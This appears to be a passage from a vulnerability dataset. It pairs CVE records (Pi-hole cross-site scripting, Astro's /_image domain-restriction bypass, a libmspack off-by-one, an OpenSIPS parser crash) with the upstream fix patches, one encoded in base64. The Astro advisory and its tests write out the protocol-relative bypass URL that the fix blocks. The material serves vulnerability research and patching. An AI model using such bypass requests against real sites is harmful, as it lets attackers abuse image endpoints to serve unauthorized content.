   var id = tr.attr("data-id");
   var ip = tr.find("#ip_" + id).text();
-  var name = tr.find("#name_" + id).text();
+  var name = utils.escapeHtml(tr.find("#name_" + id).text());
 
   if (name.length > 0) {
     ip += " (" + name + ")";
diff --git a/scripts/pi-hole/js/groups-domains.js b/scripts/pi-hole/js/groups-domains.js
index 74768f8d69..5128ef14cb 100644
--- a/scripts/pi-hole/js/groups-domains.js
+++ b/scripts/pi-hole/js/groups-domains.js
@@ -318,8 +318,8 @@ function addDomain() {
     commentEl = $("#new_regex_comment");
   }
 
-  var domain = domainEl.val();
-  var comment = commentEl.val();
+  var domain = utils.escapeHtml(domainEl.val());
+  var comment = utils.escapeHtml(commentEl.val());
 
   utils.disableAll();
   utils.showAlert("info", "", "Adding " + domainRegex + "...", domain);
@@ -385,10 +385,10 @@ function editDomain() {
   var elem = $(this).attr("id");
   var tr = $(this).closest("tr");
   var id = tr.attr("data-id");
-  var domain = tr.find("#domain_" + id).text();
+  var domain = utils.escapeHtml(tr.find("#domain_" + id).text());
   var type = tr.find("#type_" + id).val();
   var status = tr.find("#status_" + id).is(":checked") ? 1 : 0;
-  var comment = tr.find("#comment_" + id).val();
+  var comment = utils.escapeHtml(tr.find("#comment_" + id).val());
 
   // Show group assignment field only if in full domain management mode
   // if not included, just use the row data.
@@ -485,7 +485,7 @@ function editDomain() {
 function deleteDomain() {
   var tr = $(this).closest("tr");
   var id = tr.attr("data-id");
-  var domain = tr.find("#domain_" + id).text();
+  var domain = utils.escapeHtml(tr.find("#domain_" + id).text());
   var type = tr.find("#type_" + id).val();
 
   var domainRegex;
diff --git a/scripts/pi-hole/js/groups.js b/scripts/pi-hole/js/groups.js
index f7d16d533b..9835c4c764 100644
--- a/scripts/pi-hole/js/groups.js
+++ b/scripts/pi-hole/js/groups.js
@@ -127,8 +127,8 @@ $(function () {
 });
 
 function addGroup() {
-  var name = $("#new_name").val();
-  var desc = $("#new_desc").val();
+  var name = utils.escapeHtml($("#new_name").val());
+  var desc = utils.escapeHtml($("#new_desc").val());
 
   utils.disableAll();
   utils.showAlert("info", "", "Adding group...", name);
@@ -166,9 +166,9 @@ function editGroup() {
   var elem = $(this).attr("id");
   var tr = $(this).closest("tr");
   var id = tr.attr("data-id");
-  var name = tr.find("#name_" + id).val();
+  var name = utils.escapeHtml(tr.find("#name_" + id).val());
   var status = tr.find("#status_" + id).is(":checked") ? 1 : 0;
-  var desc = tr.find("#desc_" + id).val();
+  var desc = utils.escapeHtml(tr.find("#desc_" + id).val());
 
   var done = "edited";
   var notDone = "editing";
@@ -239,7 +239,7 @@ function editGroup() {
 function deleteGroup() {
   var tr = $(this).closest("tr");
   var id = tr.attr("data-id");
-  var name = tr.find("#name_" + id).val();
+  var name = utils.escapeHtml(tr.find("#name_" + id).val());
 
   utils.disableAll();
   utils.showAlert("info", "", "Deleting group...", name);
diff --git a/scripts/pi-hole/php/database.php b/scripts/pi-hole/php/database.php
index 0a6af81489..46b7decea4 100644
--- a/scripts/pi-hole/php/database.php
+++ b/scripts/pi-hole/php/database.php
@@ -161,9 +161,9 @@ function add_to_table($db, $table, $domains, $comment=null, $wildcardstyle=false
 		if($wildcardstyle)
 			$domain = "(\\.|^)".str_replace(".","\\.",$domain)."$";
 
-		$stmt->bindValue(":$field", $domain, SQLITE3_TEXT);
+		$stmt->bindValue(":$field", htmlentities($domain), SQLITE3_TEXT);
 		if($bindcomment) {
-			$stmt->bindValue(":comment", $comment, SQLITE3_TEXT);
+			$stmt->bindValue(":comment", htmlentities($comment), SQLITE3_TEXT);
 		}
 
 		if($stmt->execute() && $stmt->reset())
diff --git a/scripts/pi-hole/php/func.php b/scripts/pi-hole/php/func.php
index 37eb8e9d39..efb7c3b8ca 100644
--- a/scripts/pi-hole/php/func.php
+++ b/scripts/pi-hole/php/func.php
@@ -214,31 +214,34 @@ function deleteCustomDNSEntry()
 
 function deleteAllCustomDNSEntries()
 {
-    $handle = fopen($customDNSFile, "r");
-    if ($handle)
+    if (isset($customDNSFile))
     {
-        try
+        $handle = fopen($customDNSFile, "r");
+        if ($handle)
         {
-            while (($line = fgets($handle)) !== false) {
-                $line = str_replace("\r","", $line);
-                $line = str_replace("\n","", $line);
-                $explodedLine = explode (" ", $line);
+            try
+            {
+                while (($line = fgets($handle)) !== false) {
+                    $line = str_replace("\r","", $line);
+                    $line = str_replace("\n","", $line);
+                    $explodedLine = explode (" ", $line);
 
-                if (count($explodedLine) != 2)
-                    continue;
+                    if (count($explodedLine) != 2)
+                        continue;
 
-                $ip = $explodedLine[0];
-                $domain = $explodedLine[1];
+                    $ip = $explodedLine[0];
+                    $domain = $explodedLine[1];
 
-                pihole_execute("-a removecustomdns ".$ip." ".$domain);
+                    pihole_execute("-a removecustomdns ".$ip." ".$domain);
+                }
+            }
+            catch (\Exception $ex)
+            {
+                return errorJsonResponse($ex->getMessage());
             }
-        }
-        catch (\Exception $ex)
-        {
-            return errorJsonResponse($ex->getMessage());
-        }
 
-        fclose($handle);
+            fclose($handle);
+        }
     }
 
     return successJsonResponse();
diff --git a/scripts/pi-hole/php/groups.php b/scripts/pi-hole/php/groups.php
index 1eb4e72b13..04a9030c39 100644
--- a/scripts/pi-hole/php/groups.php
+++ b/scripts/pi-hole/php/groups.php
@@ -58,7 +58,8 @@ function JSON_error($message = null)
 } elseif ($_POST['action'] == 'add_group') {
     // Add new group
     try {
-        $names = str_getcsv(trim($_POST['name']), ' ');
+        $input = html_entity_decode(trim($_POST['name']));
+        $names = str_getcsv($input, ' ');
         $total = count($names);
         $added = 0;
         $stmt = $db->prepare('INSERT INTO "group" (name,description) VALUES (:name,:desc)');
@@ -96,6 +97,9 @@ function JSON_error($message = null)
 } elseif ($_POST['action'] == 'edit_group') {
     // Edit group identified by ID
     try {
+        $name = html_entity_decode($_POST['name']);
+        $desc = html_entity_decode($_POST['desc']);
+
         $stmt = $db->prepare('UPDATE "group" SET enabled=:enabled, name=:name, description=:desc WHERE id = :id');
         if (!$stmt) {
             throw new Exception('While preparing statement: ' . $db->lastErrorMsg());
@@ -106,11 +110,10 @@ function JSON_error($message = null)
             throw new Exception('While binding enabled: ' . $db->lastErrorMsg());
         }
 
-        if (!$stmt->bindValue(':name', $_POST['name'], SQLITE3_TEXT)) {
+        if (!$stmt->bindValue(':name', $name, SQLITE3_TEXT)) {
             throw new Exception('While binding name: ' . $db->lastErrorMsg());
         }
 
-        $desc = $_POST['desc'];
         if (strlen($desc) === 0) {
             // Store NULL in database for empty descriptions
             $desc = null;
@@ -263,7 +266,7 @@ function JSON_error($message = null)
                 throw new Exception('While binding ip: ' . $db->lastErrorMsg());
             }
 
-            $comment = $_POST['comment'];
+            $comment = html_entity_decode($_POST['comment']);
             if (strlen($comment) === 0) {
                     // Store NULL in database for empty comments
                     $comment = null;
@@ -293,7 +296,7 @@ function JSON_error($message = null)
             throw new Exception('While preparing statement: ' . $db->lastErrorMsg());
         }
 
-        $comment = $_POST['comment'];
+        $comment = html_entity_decode($_POST['comment']);
         if (strlen($comment) === 0) {
                 // Store NULL in database for empty comments
                 $comment = null;
@@ -453,7 +456,7 @@ function JSON_error($message = null)
 } elseif ($_POST['action'] == 'add_domain') {
     // Add new domain
     try {
-        $domains = explode(' ', trim($_POST['domain']));
+        $domains = explode(' ', html_entity_decode(trim($_POST['domain'])));
         $before = intval($db->querySingle("SELECT COUNT(*) FROM domainlist;"));
         $total = count($domains);
         $added = 0;
@@ -474,7 +477,7 @@ function JSON_error($message = null)
             throw new Exception('While binding type: ' . $db->lastErrorMsg());
         }
 
-        $comment = $_POST['comment'];
+        $comment = html_entity_decode($_POST['comment']);
         if (strlen($comment) === 0) {
             // Store NULL in database for empty comments
             $comment = null;
@@ -573,7 +576,7 @@ function JSON_error($message = null)
             throw new Exception('While binding enabled: ' . $db->lastErrorMsg());
         }
 
-        $comment = $_POST['comment'];
+        $comment = html_entity_decode($_POST['comment']);
         if (strlen($comment) === 0) {
                 // Store NULL in database for empty comments
                 $comment = null;
@@ -742,7 +745,7 @@ function JSON_error($message = null)
 } elseif ($_POST['action'] == 'add_adlist') {
     // Add new adlist
     try {
-        $addresses = explode(' ', trim($_POST['address']));
+        $addresses = explode(' ', html_entity_decode(trim($_POST['address'])));
         $total = count($addresses);
         $added = 0;
 
@@ -751,7 +754,7 @@ function JSON_error($message = null)
             throw new Exception('While preparing statement: ' . $db->lastErrorMsg());
         }
 
-        $comment = $_POST['comment'];
+        $comment = html_entity_decode($_POST['comment']);
         if (strlen($comment) === 0) {
             // Store NULL in database for empty comments
             $comment = null;
@@ -800,7 +803,7 @@ function JSON_error($message = null)
             throw new Exception('While binding enabled: ' . $db->lastErrorMsg());
         }
 
-        $comment = $_POST['comment'];
+        $comment = html_entity_decode($_POST['comment']);
         if (strlen($comment) === 0) {
                 // Store NULL in database for empty comments
                 $comment = null;
diff --git a/scripts/pi-hole/php/teleporter.php b/scripts/pi-hole/php/teleporter.php
index 52951067ca..cfd4bc479c 100644
--- a/scripts/pi-hole/php/teleporter.php
+++ b/scripts/pi-hole/php/teleporter.php
@@ -173,7 +173,7 @@ function archive_restore_table($file, $table, $flush=false)
 	foreach($contents as $row)
 	{
 		// Limit max length for a domain entry to 253 chars
-		if(strlen($row[$field]) > 253)
+		if(isset($field) && strlen($row[$field]) > 253)
 			continue;
 
 		// Bind properties from JSON data
@@ -196,7 +196,7 @@ function archive_restore_table($file, $table, $flush=false)
 				default:
 					$sqltype = "UNK";
 			}
-			$stmt->bindValue(":".$key, $value, $sqltype);
+			$stmt->bindValue(":".$key, htmlentities($value), $sqltype);
 		}
 
 		if($stmt->execute() && $stmt->reset() && $stmt->clear())
diff --git a/settings.php b/settings.php
index 51292f4c89..06512b48c0 100644
--- a/settings.php
+++ b/settings.php
@@ -714,7 +714,7 @@ function convertseconds($argument)
                                                             title="Lease type: IPv<?php echo $lease["type"]; ?><br/>Remaining lease time: <?php echo $lease["TIME"]; ?><br/>DHCP UID: <?php echo $lease["clid"]; ?>">
                                                             <td id="MAC"><?php echo $lease["hwaddr"]; ?></td>
                                                             <td id="IP" data-order="<?php echo bin2hex(inet_pton($lease["IP"])); ?>"><?php echo $lease["IP"]; ?></td>
-                                                            <td id="HOST"><?php echo $lease["host"]; ?></td>
+                                                            <td id="HOST"><?php echo htmlentities($lease["host"]); ?></td>
                                                             <td>
                                                                 <button type="button" id="button" class="btn btn-warning btn-xs" data-static="alert">
                                                                     <span class="fas fas fa-file-import"></span>
@@ -742,7 +742,7 @@ function convertseconds($argument)
                                                         <tr>
                                                             <td><?php echo $lease["hwaddr"]; ?></td>
                                                             <td data-order="<?php echo bin2hex(inet_pton($lease["IP"])); ?>"><?php echo $lease["IP"]; ?></td>
-                                                            <td><?php echo $lease["host"]; ?></td>
+                                                            <td><?php echo htmlentities($lease["host"]); ?></td>
                                                             <td><?php if (strlen($lease["hwaddr"]) > 0) { ?>
                                                                 <button type="submit" class="btn btn-danger btn-xs" name="removestatic"
                                                                         value="<?php echo $lease["hwaddr"]; ?>">", "url": "https://github.com/pi-hole/AdminLTE/commit/c949516ee15fa6a9b0c8511cc4c4d6b0893f3e69.patch" } ]
null
CVE-2025-55303
Unauthorized third-party images in Astro’s _image endpoint
Astro is a web framework for content-driven websites. In versions of astro before 5.13.2 and 4.16.18, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served. On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images. A bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png. This vulnerability is fixed in 5.13.2 and 4.16.18.
[ { "commit_message": "[PATCH] Merge commit from fork * fix(assets): remote paths improvement * fix test * Update .changeset/fresh-gifts-take.md Co-authored-by: Chris Swithinbank <swithinbank@gmail.com> * added more tests * use assert.equal instead Co-authored-by: Chris Swithinbank <swithinbank@gmail.com> .changeset/fresh-gifts-take.md | 6 ++++ packages/astro/test/core-image.test.js | 28 +++++++++++++++++++ .../fixtures/core-image/src/pages/empty.astro | 16 +++++++++++ packages/internal-helpers/package.json | 3 +- packages/internal-helpers/src/path.ts | 22 ++++++++++++++- packages/internal-helpers/test/path.test.js | 24 ++++++++++++++++ 6 files changed, 97 insertions(+), 2 deletions(-) create mode 100644 .changeset/fresh-gifts-take.md create mode 100644 packages/astro/test/fixtures/core-image/src/pages/empty.astro create mode 100644 packages/internal-helpers/test/path.test.js", "patch_text_b64": "From 4d16de7f95db5d1ec1ce88610d2a95e606e83820 Mon Sep 17 00:00:00 2001
From: Emanuele Stoppa <my.burning@gmail.com>
Date: Fri, 15 Aug 2025 14:38:53 +0100
Subject: [PATCH] Merge commit from fork

* fix(assets): remote paths improvement

* fix test

* Update .changeset/fresh-gifts-take.md

Co-authored-by: Chris Swithinbank <swithinbank@gmail.com>

* added more tests

* use assert.equal instead

---------

Co-authored-by: Chris Swithinbank <swithinbank@gmail.com>
---
 .changeset/fresh-gifts-take.md                |  6 ++++
 packages/astro/test/core-image.test.js        | 28 +++++++++++++++++++
 .../fixtures/core-image/src/pages/empty.astro | 16 +++++++++++
 packages/internal-helpers/package.json        |  3 +-
 packages/internal-helpers/src/path.ts         | 22 ++++++++++++++-
 packages/internal-helpers/test/path.test.js   | 24 ++++++++++++++++
 6 files changed, 97 insertions(+), 2 deletions(-)
 create mode 100644 .changeset/fresh-gifts-take.md
 create mode 100644 packages/astro/test/fixtures/core-image/src/pages/empty.astro
 create mode 100644 packages/internal-helpers/test/path.test.js

diff --git a/.changeset/fresh-gifts-take.md b/.changeset/fresh-gifts-take.md
new file mode 100644
index 000000000000..265b5dccba6c
--- /dev/null
+++ b/.changeset/fresh-gifts-take.md
@@ -0,0 +1,6 @@
+---
+'@astrojs/internal-helpers': patch
+'astro': patch
+---
+
+Improves the detection of remote paths in the `_image` endpoint. Now `href` parameters that start with `//` are considered remote paths.
diff --git a/packages/astro/test/core-image.test.js b/packages/astro/test/core-image.test.js
index 1fe3d01d56e6..1d9e067c075d 100644
--- a/packages/astro/test/core-image.test.js
+++ b/packages/astro/test/core-image.test.js
@@ -896,6 +896,24 @@ describe('astro:image', () => {
 			const img = await app.render(new Request(`https://example.com${src}`));
 			assert.equal(img.status, 200);
 		});
+
+		it('returns 403 when loading a relative pattern iamge', async () => {
+			const fixtureWithBase = await loadFixture({
+				root: './fixtures/core-image-ssr/',
+				output: 'server',
+				outDir: './dist/server-base-path',
+				adapter: testAdapter(),
+			});
+			await fixtureWithBase.build();
+			const app = await fixtureWithBase.loadTestAdapterApp();
+			let request = new Request('http://example.com/');
+			let response = await app.render(request);
+			// making sure that the app works
+			assert.equal(response.status, 200);
+			request = new Request('http://example.com/_image/?href=//secure0x.netlify.app/secure0x.svg&f=svg');
+			response = await app.render(request);
+			assert.equal(response.status, 403);
+		});
 	});
 
 	describe('build ssg', () => {
@@ -1396,6 +1414,16 @@ describe('astro:image', () => {
 			assert.equal(src.startsWith('/_image?'), true);
 		});
 
+		it("returns 403 for /_image when requesting a relative pattern image and the parameters aren't encoded", async () => {
+			fixture = await loadFixture({
+				root: './fixtures/core-image/',
+			});
+			devServer = await fixture.startDevServer();
+			// we don't use `URLSearchParams` because the initial // will get encoded
+			const response = await fixture.fetch('/_image?' + "href=//secure0x.netlify.app/secure0x.svg&f=svg");
+			assert.equal(response.status, 403);
+		})
+
 		afterEach(async () => {
 			await devServer.stop();
 		});
diff --git a/packages/astro/test/fixtures/core-image/src/pages/empty.astro b/packages/astro/test/fixtures/core-image/src/pages/empty.astro
new file mode 100644
index 000000000000..a8977d449077
--- /dev/null
+++ b/packages/astro/test/fixtures/core-image/src/pages/empty.astro
@@ -0,0 +1,16 @@
+---
+
+---
+
+<html lang="en">
+<head>
+	<meta charset="utf-8" />
+	<link rel="icon" type="image/svg+xml" href="/favicon.svg" />
+	<meta name="viewport" content="width=device-width" />
+	<meta name="generator" content={Astro.generator} />
+	<title>Astro</title>
+</head>
+<body>
+<h1>Astro</h1>
+</body>
+</html>
diff --git a/packages/internal-helpers/package.json b/packages/internal-helpers/package.json
index a6b8c70dfac3..cf98562690a3 100644
--- a/packages/internal-helpers/package.json
+++ b/packages/internal-helpers/package.json
@@ -36,7 +36,8 @@
     "prepublish": "pnpm build",
     "build": "astro-scripts build \"src/**/*.ts\" && tsc -p tsconfig.json",
     "build:ci": "astro-scripts build \"src/**/*.ts\"",
-    "dev": "astro-scripts dev \"src/**/*.ts\""
+    "dev": "astro-scripts dev \"src/**/*.ts\"",
+    "test":  "astro-scripts test \"test/**/*.test.js\""
   },
   "devDependencies": {
     "astro-scripts": "workspace:*"
diff --git a/packages/internal-helpers/src/path.ts b/packages/internal-helpers/src/path.ts
index 7e94082efad1..a2aece53307a 100644
--- a/packages/internal-helpers/src/path.ts
+++ b/packages/internal-helpers/src/path.ts
@@ -101,8 +101,28 @@ export function removeQueryString(path: string) {
 	return index > 0 ? path.substring(0, index) : path;
 }
 
+/**
+ * Regex that matches the following URLs like:
+ * - http://example.com
+ * - https://example.com
+ * - ftp://example.com
+ * - ws://example.com
+ * - //example.com (protocol-relative URLs)
+ */
+const URL_PROTOCOL_REGEX = /^(?:(?:http|ftp|https|ws):?\/\/|\/\/)/;
+
+/**
+ * Checks whether the path is considered a remote path. Paths need to start with:
+ * - `http://`
+ * - `https://`
+ * - `ftp://`
+ * - `ws://`
+ * - `//` (protocol-relative URLs)
+ * - `data:` (base64 images)
+ * @param src
+ */
 export function isRemotePath(src: string) {
-	return /^(?:http|ftp|https|ws):?\/\//.test(src) || src.startsWith('data:');
+	return URL_PROTOCOL_REGEX.test(src) || src.startsWith('data:');
 }
 
 export function slash(path: string) {
diff --git a/packages/internal-helpers/test/path.test.js b/packages/internal-helpers/test/path.test.js
new file mode 100644
index 000000000000..0c581d06de63
--- /dev/null
+++ b/packages/internal-helpers/test/path.test.js
@@ -0,0 +1,24 @@
+import assert from 'node:assert/strict';
+import { describe, it } from 'node:test';
+import { isRemotePath } from '../dist/path.js';
+
+describe('isRemotePath', () => {
+	it("should return true if the path is remote", () => {
+		assert.equal(isRemotePath('https://example.com/foo/bar.js'), true, "should be a remote path")
+		assert.equal(isRemotePath('http://example.com/foo/bar.js'), true, "should be a remote path")
+		assert.equal(isRemotePath('//example.com/foo/bar.js'), true, "should be a remote path")
+		assert.equal(isRemotePath('ws://example.com/foo/bar.js'), true, "should be a remote path")
+		assert.equal(isRemotePath('ftp://example.com/foo/bar.js'), true, "should be a remote path")
+		assert.equal(isRemotePath('data:someCode'), true, "should be a remote path")
+		// false
+		assert.equal(isRemotePath('/local/path/file.js'), false, "should not be a remote path")
+		assert.equal(isRemotePath('relative/path/file.js'), false, "should not be a remote path")
+		assert.equal(isRemotePath('./relative/path/file.js'), false, "should not be a remote path")
+		assert.equal(isRemotePath('../relative/path/file.js'), false, "should not be a remote path")
+		assert.equal(isRemotePath('C:\\windows\\path\\file.js'), false, "should not be a remote path")
+		assert.equal(isRemotePath('file://example.com/foo/bar.js'), false, "should not be a remote path")
+		assert.equal(isRemotePath('sftp://example.com/foo/bar.js'), false, "should not be a remote path")
+		assert.equal(isRemotePath('wss://example.com/foo/bar.js'), false, "should not be a remote path")
+		assert.equal(isRemotePath('mailto:example@example.com'), false, "should not be a remote path")
+	})
+});", "url": "https://github.com/withastro/astro/commit/4d16de7f95db5d1ec1ce88610d2a95e606e83820.patch" } ]
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVE-2018-14679
An issue was discovered in mspack/chmd.c in libmspack before 0.7alpha. There is an off-by-one error in the CHM PMGI/PMGL chunk number validity checks, which could lead to denial of service (uninitialized data dereference and application crash).
[ { "commit_message": "[PATCH] =?UTF-8?q?Fix=20off-by-one=20bounds=20check=20on=20CHM=20?= =?UTF-8?q?PMGI/PMGL=20chunk=20numbers=20and=20reject=20empty=20filenames.?= =?UTF-8?q?=20Thanks=20to=20Hanno=20B=C3=B6ck=20for=20reporting?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit libmspack/ChangeLog | 10 ++++++++++ libmspack/mspack/chmd.c | 9 ++++++--- 2 files changed, 16 insertions(+), 3 deletions(-)", "patch_text_b64": "RnJvbSA3MmU3MGE5MjFmMGYwN2ZlZTc0OGFlYzIyNzRiMzA3ODRlMWQzMTJhIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBTdHVhcnQgQ2FpZSA8a3l6ZXJAY2FiZXh0cmFjdC5vcmcudWs+CkRhdGU6IFNhdCwgMTIgTWF5IDIwMTggMTA6NTE6MzQgKzAxMDAKU3ViamVjdDogW1BBVENIXSA9P1VURi04P3E/Rml4PTIwb2ZmLWJ5LW9uZT0yMGJvdW5kcz0yMGNoZWNrPTIwb249MjBDSE09MjA/PQogPT9VVEYtOD9xP1BNR0kvUE1HTD0yMGNodW5rPTIwbnVtYmVycz0yMGFuZD0yMHJlamVjdD0yMGVtcHR5PTIwZmlsZW5hbWVzLj89CiA9P1VURi04P3E/PTIwVGhhbmtzPTIwdG89MjBIYW5ubz0yMEI9QzM9QjZjaz0yMGZvcj0yMHJlcG9ydGluZz89Ck1JTUUtVmVyc2lvbjogMS4wCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD1VVEYtOApDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0CgotLS0KIGxpYm1zcGFjay9DaGFuZ2VMb2cgICAgIHwgMTAgKysrKysrKysrKwogbGlibXNwYWNrL21zcGFjay9jaG1kLmMgfCAgOSArKysrKystLS0KIDIgZmlsZXMgY2hhbmdlZCwgMTYgaW5zZXJ0aW9ucygrKSwgMyBkZWxldGlvbnMoLSkKCmRpZmYgLS1naXQgYS9saWJtc3BhY2svQ2hhbmdlTG9nIGIvbGlibXNwYWNrL0NoYW5nZUxvZwppbmRleCA5NGU0ZTg0Li5mYWIzYTU1IDEwMDY0NAotLS0gYS9saWJtc3BhY2svQ2hhbmdlTG9nCisrKyBiL2xpYm1zcGFjay9DaGFuZ2VMb2cKQEAgLTEsMyArMSwxMyBAQAorMjAxOC0wNC0yNiAgU3R1YXJ0IENhaWUgPGt5emVyQGNhYmV4dHJhY3Qub3JnLnVrPgorCisJKiByZWFkX2NodW5rKCk6IHRoZSB0ZXN0IHRoYXQgY2h1bmsgbnVtYmVycyBhcmUgaW4gYm91bmRzIHdhcyBvZmYKKwlieSBvbmUsIHNvIHJlYWRfY2h1bmsoKSByZXR1cm5lZCBhIHBvaW50ZXIgdGFrZW4gZnJvbSBvdXRzaWRlCisJYWxsb2NhdGVkIG1lbW9yeSB0aGF0IHVzdWFsbHkgY3Jhc2hlcyBsaWJtc3BhY2sgd2hlbiBhY2Nlc3NlZC4KKwlUaGFua3MgdG8gSGFubm8gQsO2Y2sgZm9yIGZpbmRpbmcgdGhlIGlzc3VlIGFuZCBwcm92aWRpbmcgYSBzYW1wbGUuCisKKwkqIGNobWRfcmVhZF9oZWFkZXJzKCk6IHJlamVjdCBmaWxlcyB3aXRoIGJsYW5rIGZpbGVuYW1lcy4gVGhhbmtzCisJYWdhaW4gdG8gSGFubm8gQsO2Y2sgZm9yIGZpbmRpbmcgdGhlIGlzc3VlIGFuZCBwcm92aWRpbmcgYSBzYW1wbGUgZmlsZS4KKwogMjAxOC0wMi0wNiAgU3R1YXJ0IENhaWUgPGt5emVyQGNhYmV4dHJhY3Qub3JnLnVrPgogCiAJKiBjaG1kLmM6IGZpeGVkIGFuIG9mZi1ieS1vbmUgZXJyb3IgaW4gdGhlIFRPTE9XRVIoKSBtYWNybywgcmVwb3J0ZWQKZGlmZiAtLWdpdCBhL2xpYm1zcGFjay9tc3BhY2svY2htZC5jIGIvbGlibXNwYWNrL21zcGFjay9jaG1kLmMKaW5kZXggYzkyMWM4Yy4uOWMzMjY1OCAxMDA2NDQKLS0tIGEvbGlibXNwYWNrL21zcGFjay9jaG1kLmMKKysrIGIvbGlibXNwYWNrL21zcGFjay9jaG1kLmMKQEAgLTEsNSArMSw1IEBACiAvKiBUaGlzIGZpbGUgaXMgcGFydCBvZiBsaWJtc3BhY2suCi0gKiAoQykgMjAwMy0yMDExIFN0dWFydCBDYWllLgorICogKEMpIDIwMDMtMjAxOCBTdHVhcnQgQ2FpZS4KICAqCiAgKiBsaWJtc3BhY2sgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeSBpdCB1bmRlcgogICogdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgKExHUEwpIHZlcnNpb24gMi4xCkBAIC0zOTcsNyArMzk3LDcgQEAgc3RhdGljIGludCBjaG1kX3JlYWRfaGVhZGVycyhzdHJ1Y3QgbXNwYWNrX3N5c3RlbSAqc3lzLCBzdHJ1Y3QgbXNwYWNrX2ZpbGUgKmZoLAogICAgIEQoKCJmaXJzdCBwbWdsIGNodW5rIGlzIGFmdGVyIGxhc3QgcG1nbCBjaHVuayIpKQogICAgIHJldHVybiBNU1BBQ0tfRVJSX0RBVEFGT1JNQVQ7CiAgIH0KLSAgaWYgKGNobS0+aW5kZXhfcm9vdCAhPSAweEZGRkZGRkZGICYmIGNobS0+aW5kZXhfcm9vdCA+IGNobS0+bnVtX2NodW5rcykgeworICBpZiAoY2htLT5pbmRleF9yb290ICE9IDB4RkZGRkZGRkYgJiYgY2htLT5pbmRleF9yb290ID49IGNobS0+bnVtX2NodW5rcykgewogICAgIEQoKCJpbmRleF9yb290IG91dHNpZGUgdmFsaWQgcmFuZ2UiKSkKICAgICByZXR1cm4gTVNQQUNLX0VSUl9EQVRBRk9STUFUOwogICB9CkBAIC00NDcsNyArNDQ3LDEwIEBAIHN0YXRpYyBpbnQgY2htZF9yZWFkX2hlYWRlcnMoc3RydWN0IG1zcGFja19zeXN0ZW0gKnN5cywgc3RydWN0IG1zcGFja19maWxlICpmaCwKICAgICB3aGlsZSAobnVtX2VudHJpZXMtLSkgewogICAgICAgUkVBRF9FTkNJTlQobmFtZV9sZW4pOwogICAgICAgaWYgKG5hbWVfbGVuID4gKHVuc2lnbmVkIGludCkgKGVuZCAtIHApKSBnb3RvIGNodW5rX2VuZDsKKyAgICAgIC8qIGNvbnNpZGVyIGJsYW5rIGZpbGVuYW1lcyB0byBiZSBhbiBlcnJvciAqLworICAgICAgaWYgKG5hbWVfbGVuID09IDApIGdvdG8gY2h1bmtfZW5kOwogICAgICAgbmFtZSA9IHA7IHAgKz0gbmFtZV9sZW47CisKICAgICAgIFJFQURfRU5DSU5UKHNlY3Rpb24pOwogICAgICAgUkVBRF9FTkNJTlQob2Zmc2V0KTsKICAgICAgIFJFQURfRU5DSU5UKGxlbmd0aCk7CkBAIC02MjIsNyArNjI1LDcgQEAgc3RhdGljIHVuc2lnbmVkIGNoYXIgKnJlYWRfY2h1bmsoc3RydWN0IG1zY2htX2RlY29tcHJlc3Nvcl9wICpzZWxmLAogICAgIHVuc2lnbmVkIGNoYXIgKmJ1ZjsKIAogICAgIC8qIGNoZWNrIGFyZ3VtZW50cyAtIG1vc3QgYXJlIGFscmVhZHkgY2hlY2tlZCBieSBjaG1kX2Zhc3RfZmluZCAqLwotICAgIGlmIChjaHVua19udW0gPiBjaG0tPm51bV9jaHVua3MpIHJldHVybiBOVUxMOworICAgIGlmIChjaHVua19udW0gPj0gY2htLT5udW1fY2h1bmtzKSByZXR1cm4gTlVMTDsKICAgICAKICAgICAvKiBlbnN1cmUgY2h1bmsgY2FjaGUgaXMgYXZhaWxhYmxlICovCiAgICAgaWYgKCFjaG0tPmNodW5rX2NhY2hlKSB7", "url": "https://github.com/kyz/libmspack/commit/72e70a921f0f07fee748aec2274b30784e1d312a.patch" } ]
n/a
CVE-2023-28098
OpenSIPS has vulnerability in the Digest Authentication Parser
OpenSIPS is a Session Initiation Protocol (SIP) server implementation. Prior to versions 3.1.7 and 3.2.4, a specially crafted Authorization header causes OpenSIPS to crash or behave in an unexpected way due to a bug in the function `parse_param_name()` . This issue was discovered while performing coverage guided fuzzing of the function parse_msg. The AddressSanitizer identified that the issue occurred in the function `q_memchr()` which is being called by the function `parse_param_name()`. This issue may cause erratic program behaviour or a server crash. It affects configurations containing functions that make use of the affected code, such as the function `www_authorize()` . Versions 3.1.7 and 3.2.4 contain a fix.
